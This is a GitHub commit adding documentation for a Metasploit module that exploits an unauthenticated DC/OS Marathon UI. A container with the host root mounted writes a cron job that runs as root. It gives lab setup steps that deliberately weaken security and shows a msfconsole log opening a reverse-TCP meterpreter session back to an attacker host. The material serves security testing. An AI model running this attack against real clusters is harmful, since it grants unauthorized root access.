Skip to content

Commit 3e9480e

Browse files
author
wolfthefallen
committed
Added documentation
1 parent a49c0a6 commit 3e9480e

File tree

1 file changed

+193
-0
lines changed

1 file changed

+193
-0
lines changed

‎documentation/modules/exploit/linux/http/dcos_marathon.md

Lines changed: 193 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,193 @@
1+
# Vulnerable Application
2+
Utilizing the DCOS Cluster's Marathon UI, an attacker can create
3+
a docker container with the '/' path mounted with read/write
4+
permissions on the host server that is running the docker container.
5+
As the docker container excutes command as uid 0 it is honored
6+
by the host operating system allowing the attacker to edit/create
7+
files owed by root. This exploit abuses this to creates a cron job
8+
in the '/etc/cron.d/' path of the host server.
9+
10+
*Notes: The docker image must be a valid docker image from
11+
hub.docker.com. Further more the docker container will only
12+
deploy if there are resources available in the DC/OS
13+
14+
## DCOS
15+
This Expoit was tested with CentOS 7 as the host operating system for
16+
the 2 services of the DCOS cluster. With DCOS version 1.7 and 1.8, with
17+
Defualt 'custom' installation for on site premise setup. Only the Install
18+
part of the DCOS guide was completed, the system hardening and securing
19+
your cluster section where skipped. This is to represent a 'Defualt' install
20+
with a system admin conducting hasty deployments taking no thought about security.
21+
22+
23+
## To Setup Your Cluster
24+
I recommend doing a 'On-Premies'/custom
25+
cluster. https://dcos.io/docs/1.8/administration/installing/custom/
26+
Create a virtual CentOS machine, install requirements base on the above
27+
guide.
28+
29+
```bash
30+
# The TLDR from the above guide
31+
sudo systemctl stop firewalld && sudo systemctl disable firewalld
32+
sudo yum install -y tar xz unzip curl ipset ntp
33+
systemctl start ntpd
34+
systemctl enable ntpd
35+
sudo sed -i s/SELINUX=enforcing/SELINUX=permissive/g /etc/selinux/config && \
36+
sudo groupadd nogroup && sudo reboot
37+
```
38+
39+
Install a supported version of docker on the CentOS systems
40+
https://dcos.io/docs/1.8/administration/installing/custom/system-requirements/install-docker-centos/
41+
42+
```bash
43+
# The TLDR of the above guide
44+
sudo yum -y remove docker docker-common container-selinux
45+
sudo yum -y remove docker-selinux
46+
sudo yum install -y yum-utils
47+
sudo yum-config-manager \
48+
--add-repo \
49+
https://docs.docker.com/engine/installation/linux/repo_files/centos/docker.repo
50+
sudo yum-config-manager --enable docker-testing
51+
sudo yum makecache fast
52+
sudo yum -y install docker-engine-1.11.2
53+
sudo systemctl start docker
54+
sudo systemctl enable docker
55+
sudo echo overlay > /etc/modules-load.d/overlay.conf
56+
sudo reboot
57+
```
58+
59+
Once the CentOS machine has rebooted, edit the systemctl
60+
service file for docker and change the ExecStart- line to
61+
`ExecStart=/usr/bin/docker daemon --storage-driver=overlay -H fd://`
62+
restart the docker service and verify it is running.
63+
lastely generate ssh rsa keys for authentication. And update the
64+
/etc/ssh/sshd_config file to support root login.
65+
66+
```bash
67+
ssh-keygen -t rsa -b 4096
68+
# Press enter until complete, DO NOT PUT A PASSWORD.
69+
cp ~/.ssh/id_rsa.pub ~/.ssh/authorized_keys
70+
cat ~/.ssh/id_rsa # save the output you will need it for later
71+
rm ~/.ssh/id_rsa # before doing this make sure you have saved a copy for later
72+
```
73+
74+
Shut down the CentOS vm, take a snapshot. (This will be your base)
75+
clone the VM 2 times. One will be DCOS-Master, the Other DCOS-Agent.
76+
Start both virtual machines. Login and get their current IP address.
77+
I recommend giving them static IPs if you have further use for the cluster.
78+
79+
From here use another linux machine with docker installed to finish
80+
the installation process. I used a ubuntu machine with docker installed.
81+
82+
Follow the custom CLI guide for creating the required files in
83+
the genconf folder.
84+
https://dcos.io/docs/1.8/administration/installing/custom/cli/
85+
86+
Example genconf/config.yaml
87+
```
88+
---
89+
agent_list:
90+
- 192.168.0.10
91+
bootstrap_url: file:///opt/dcos_install_tmp
92+
cluster_name: DCOS
93+
exhibitor_storage_backend: static
94+
ip_detect_filename: /genconf/ip-detect
95+
master_discovery: static
96+
master_list:
97+
- 192.168.0.9
98+
process_timeout: 10000
99+
resolvers:
100+
- 8.8.8.8
101+
- 8.8.4.4
102+
ssh_port: 22
103+
ssh_user: root
104+
```
105+
Example genconf/ip-detect
106+
```bash
107+
#!/usr/bin/env bash
108+
set -o nounset -o errexit
109+
export PATH=/usr/sbin:/usr/bin:$PATH
110+
ip=$(ip addr show ens33)
111+
echo $( echo $ip | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
112+
```
113+
114+
place your id_rsa ssh key into the genconf file and rename the
115+
file to ssh_key and `chmod 0600 genconf/ssh_key`
116+
117+
Deploying the cluster
118+
in the folder containing the genconf folder do the following.
119+
NOTE: if following the cli install from DCOS itself, it will fail
120+
if you do --install-prereqs. It will install an unsupported version of
121+
docker.
122+
123+
```bash
124+
curl -O https://downloads.dcos.io/dcos/stable/dcos_generate_config.sh
125+
chmod +x dcos_generate_config.sh
126+
sudo ./dcos_generate_config.sh --genconf
127+
sudo ./dcos_generate_config.sh --preflight
128+
# If all preflight checks pass
129+
sudo ./dcos_generate_config.sh --deploy
130+
# get a cup of coffie
131+
# wait a minute or two after deploy completes
132+
sudo bash dcos_generate_config.sh --postflight
133+
```
134+
135+
If all is passing navigate to http://<master_ip>:8080/
136+
You should see the Marathon UI web application.
137+
138+
# Exploitation
139+
This module is designed for attacker to leaverage the creatation of a
140+
docker contianer with out authentication through the DCOS Marathon UI
141+
to gain root access to the hosting server of the docker container
142+
in the DCOS cluster.
143+
144+
## Options
145+
- RHOST is the target IP/Hostname that is hosting the Marathon UI Web application
146+
- RPORT is the Port the Marathon UI service is running on.
147+
- DOCKERIMAGE is the hub.docker.com docker container image you are wanting to have the DCOS Cluster to deploy for this exploit.
148+
- TARGETURI this is the path to make the Marathon UI web request to. By default this is /v2/apps
149+
- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start.
150+
- CONTAINER_ID is optional if you want to have your container docker have a human readable name else it will be randomly generated
151+
152+
## Steps to exploit with module
153+
- [ ] Start msfconsole
154+
- [ ] use exploit/linux/http/dcos_marathon
155+
- [ ] Set the options appropriately and set VERBOSE to true
156+
- [ ] Verify it creates a docker container and it successfully runs
157+
- [ ] After a minute a session should be opened from the agent server
158+
159+
## Example Output
160+
```
161+
msf > use exploit/linux/http/dcos_marathon
162+
msf exploit(dcos_marathon) > set RHOST 192.168.0.9
163+
RHOST => 192.168.0.9
164+
msf exploit(dcos_marathon) > set payload python/meterpreter/reverse_tcp
165+
payload => python/meterpreter/reverse_tcp
166+
msf exploit(dcos_marathon) > set LHOST 192.168.0.100
167+
LHOST => 192.168.0.100
168+
msf exploit(dcos_marathon) > set verbose true
169+
verbose => true
170+
msf exploit(dcos_marathon) > check
171+
[*] 192.168.0.9:8080 The target appears to be vulnerable.
172+
msf exploit(dcos_marathon) > exploit
173+
174+
[*] Started reverse TCP handler on 192.168.0.100:4444
175+
[*] Setting container json request variables
176+
[*] Creating the docker container command
177+
[*] The docker container is created, waiting for it to deploy
178+
[*] Waiting up to 60 seconds for docker container to start
179+
[*] The docker container is running, removing it
180+
[*] Waiting for the cron job to run, can take up to 60 seconds
181+
[*] Sending stage (39690 bytes) to 192.168.0.10
182+
[*] Meterpreter session 1 opened (192.168.0.100:4444 -> 192.168.0.10:54468) at 2017-03-01 14:22:02 -0500
183+
[+] Deleted /etc/cron.d/FOWkTeZL
184+
[+] Deleted /tmp/TIWpOfUR
185+
186+
meterpreter > sysinfo
187+
Computer : localhost.localdomain
188+
OS : Linux 3.10.0-327.36.3.el7.x86_64 #1 SMP Mon Oct 24 16:09:20 UTC 2016
189+
Architecture : x64
190+
System Language : en_US
191+
Meterpreter : python/linux
192+
meterpreter >
193+
```

0 commit comments

Comments
 (0)